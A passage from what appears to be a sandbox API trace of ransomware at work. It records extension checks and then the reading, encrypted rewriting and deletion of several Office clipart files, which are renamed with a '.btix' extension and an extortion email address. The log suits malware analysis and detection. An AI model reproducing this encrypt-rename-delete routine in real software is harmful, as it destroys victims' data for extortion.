returned -1 [0051.829] lstrlenW (lpString=".pdf") returned 4 [0051.829] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.829] lstrlenW (lpString=".xls") returned 4 [0051.829] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.829] lstrlenW (lpString=".xlsx") returned 5 [0051.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.830] lstrlenW (lpString=".ppt") returned 4 [0051.830] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.830] lstrlenW (lpString=".zip") returned 4 [0051.830] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.830] lstrlenW (lpString=".rar") returned 4 [0051.830] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.830] lstrlenW (lpString=".bz2") returned 4 [0051.830] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.830] lstrlenW (lpString=".7z") returned 3 [0051.830] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.830] lstrlenW (lpString=".dbf") returned 4 [0051.830] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.830] lstrlenW (lpString=".1cd") returned 4 [0051.830] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.830] lstrlenW (lpString=".jpg") returned 4 [0051.830] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.830] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0051.830] lstrlenW (lpString="AN00015_.WMF") returned 12 [0051.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.831] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=4734) returned 1 [0051.831] CloseHandle (hObject=0x32c) returned 1 [0051.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0051.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.831] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.831] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.832] GetLastError () returned 0x0 [0051.832] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x127e, lpOverlapped=0x0) returned 1 [0051.852] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1280, lpOverlapped=0x0) returned 1 [0051.853] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.853] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.853] SetEndOfFile (hFile=0x344) returned 1 [0051.853] CloseHandle (hObject=0x344) returned 1 [0051.854] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.854] SetEndOfFile (hFile=0x32c) returned 1 [0051.855] CloseHandle (hObject=0x32c) returned 1 [0051.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0051.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.857] lstrlenW (lpString=".doc") returned 4 [0051.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.857] lstrlenW (lpString=".docx") returned 5 [0051.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.857] lstrlenW (lpString=".pdf") returned 4 [0051.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.857] lstrlenW (lpString=".xls") returned 4 [0051.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.857] lstrlenW (lpString=".xlsx") returned 5 [0051.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.857] lstrlenW (lpString=".ppt") returned 4 [0051.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.857] lstrlenW (lpString=".zip") returned 4 [0051.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.857] lstrlenW (lpString=".rar") returned 4 [0051.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.857] lstrlenW (lpString=".bz2") returned 4 [0051.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.857] lstrlenW (lpString=".7z") returned 3 [0051.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.857] lstrlenW (lpString=".dbf") returned 4 [0051.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.857] lstrlenW (lpString=".1cd") returned 4 [0051.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.857] lstrlenW (lpString=".jpg") returned 4 [0051.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.857] lstrlenW (lpString=".doc") returned 4 [0051.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.858] lstrlenW (lpString=".docx") returned 5 [0051.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.858] lstrlenW (lpString=".pdf") returned 4 [0051.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.858] lstrlenW (lpString=".xls") returned 4 [0051.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.858] lstrlenW (lpString=".xlsx") returned 5 [0051.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.858] lstrlenW (lpString=".ppt") returned 4 [0051.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.858] lstrlenW (lpString=".zip") returned 4 [0051.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.858] lstrlenW (lpString=".rar") returned 4 [0051.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.858] lstrlenW (lpString=".bz2") returned 4 [0051.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.858] lstrlenW (lpString=".7z") returned 3 [0051.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.858] lstrlenW (lpString=".dbf") returned 4 [0051.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.858] lstrlenW (lpString=".1cd") returned 4 [0051.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0051.858] lstrlenW (lpString=".jpg") returned 4 [0051.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.858] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0051.858] lstrlenW (lpString="AN00853_.WMF") returned 12 [0051.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.878] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=20578) returned 1 [0051.878] CloseHandle (hObject=0x32c) returned 1 [0051.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0051.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.894] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.894] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.909] GetLastError () returned 0x0 [0051.909] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x5062, lpOverlapped=0x0) returned 1 [0052.017] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x5070, lpOverlapped=0x0) returned 1 [0052.027] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.027] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.027] SetEndOfFile (hFile=0x364) returned 1 [0052.027] CloseHandle (hObject=0x364) returned 1 [0052.028] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.028] SetEndOfFile (hFile=0x2e0) returned 1 [0052.029] CloseHandle (hObject=0x2e0) returned 1 [0052.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.029] lstrlenW (lpString=".doc") returned 4 [0052.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.029] lstrlenW (lpString=".docx") returned 5 [0052.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.029] lstrlenW (lpString=".pdf") returned 4 [0052.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.029] lstrlenW (lpString=".xls") returned 4 [0052.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.029] lstrlenW (lpString=".xlsx") returned 5 [0052.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.030] lstrlenW (lpString=".ppt") returned 4 [0052.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.030] lstrlenW (lpString=".zip") returned 4 [0052.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.030] lstrlenW (lpString=".rar") returned 4 [0052.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.030] lstrlenW (lpString=".bz2") returned 4 [0052.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.030] lstrlenW (lpString=".7z") returned 3 [0052.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.030] lstrlenW (lpString=".dbf") returned 4 [0052.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.030] lstrlenW (lpString=".1cd") returned 4 [0052.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.030] lstrlenW (lpString=".jpg") returned 4 [0052.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.030] lstrlenW (lpString=".doc") returned 4 [0052.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.030] lstrlenW (lpString=".docx") returned 5 [0052.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.030] lstrlenW (lpString=".pdf") returned 4 [0052.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.030] lstrlenW (lpString=".xls") returned 4 [0052.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.030] lstrlenW (lpString=".xlsx") returned 5 [0052.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.031] lstrlenW (lpString=".ppt") returned 4 [0052.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.031] lstrlenW (lpString=".zip") returned 4 [0052.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.031] lstrlenW (lpString=".rar") returned 4 [0052.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.031] lstrlenW (lpString=".bz2") returned 4 [0052.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.031] lstrlenW (lpString=".7z") returned 3 [0052.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.031] lstrlenW (lpString=".dbf") returned 4 [0052.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.031] lstrlenW (lpString=".1cd") returned 4 [0052.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0052.031] lstrlenW (lpString=".jpg") returned 4 [0052.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.031] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.031] lstrlenW (lpString="AN01039_.WMF") returned 12 [0052.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.032] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=3344) returned 1 [0052.032] CloseHandle (hObject=0x2e0) returned 1 [0052.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0052.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.032] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.032] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.033] GetLastError () returned 0x0 [0052.033] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xd10, lpOverlapped=0x0) returned 1 [0052.081] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xd20, lpOverlapped=0x0) returned 1 [0052.081] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.081] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.081] SetEndOfFile (hFile=0x364) returned 1 [0052.082] CloseHandle (hObject=0x364) returned 1 [0052.082] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.082] SetEndOfFile (hFile=0x2e0) returned 1 [0052.083] CloseHandle (hObject=0x2e0) returned 1 [0052.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0052.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.084] lstrlenW (lpString=".doc") returned 4 [0052.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.084] lstrlenW (lpString=".docx") returned 5 [0052.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.084] lstrlenW (lpString=".pdf") returned 4 [0052.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.084] lstrlenW (lpString=".xls") returned 4 [0052.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.084] lstrlenW (lpString=".xlsx") returned 5 [0052.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.084] lstrlenW (lpString=".ppt") returned 4 [0052.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.084] lstrlenW (lpString=".zip") returned 4 [0052.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.084] lstrlenW (lpString=".rar") returned 4 [0052.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.084] lstrlenW (lpString=".bz2") returned 4 [0052.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.084] lstrlenW (lpString=".7z") returned 3 [0052.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.084] lstrlenW (lpString=".dbf") returned 4 [0052.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.084] lstrlenW (lpString=".1cd") returned 4 [0052.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.085] lstrlenW (lpString=".jpg") returned 4 [0052.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0052.085] lstrlenW (lpString=".doc") returned 4 [0052.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.085] lstrlenW (lpString=".docx") returned 5 [0052.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.085] lstrlenW (lpString=".pdf") returned 4 [0052.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.085] lstrlenW (lpString=".xls") returned 4 [0052.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.085] lstrlenW (lpString=".xlsx") returned 5 [0052.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.085] lstrlenW (lpString=".ppt") returned 4 [0052.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.085] lstrlenW (lpString="C:\\Program Files\\Microsoft 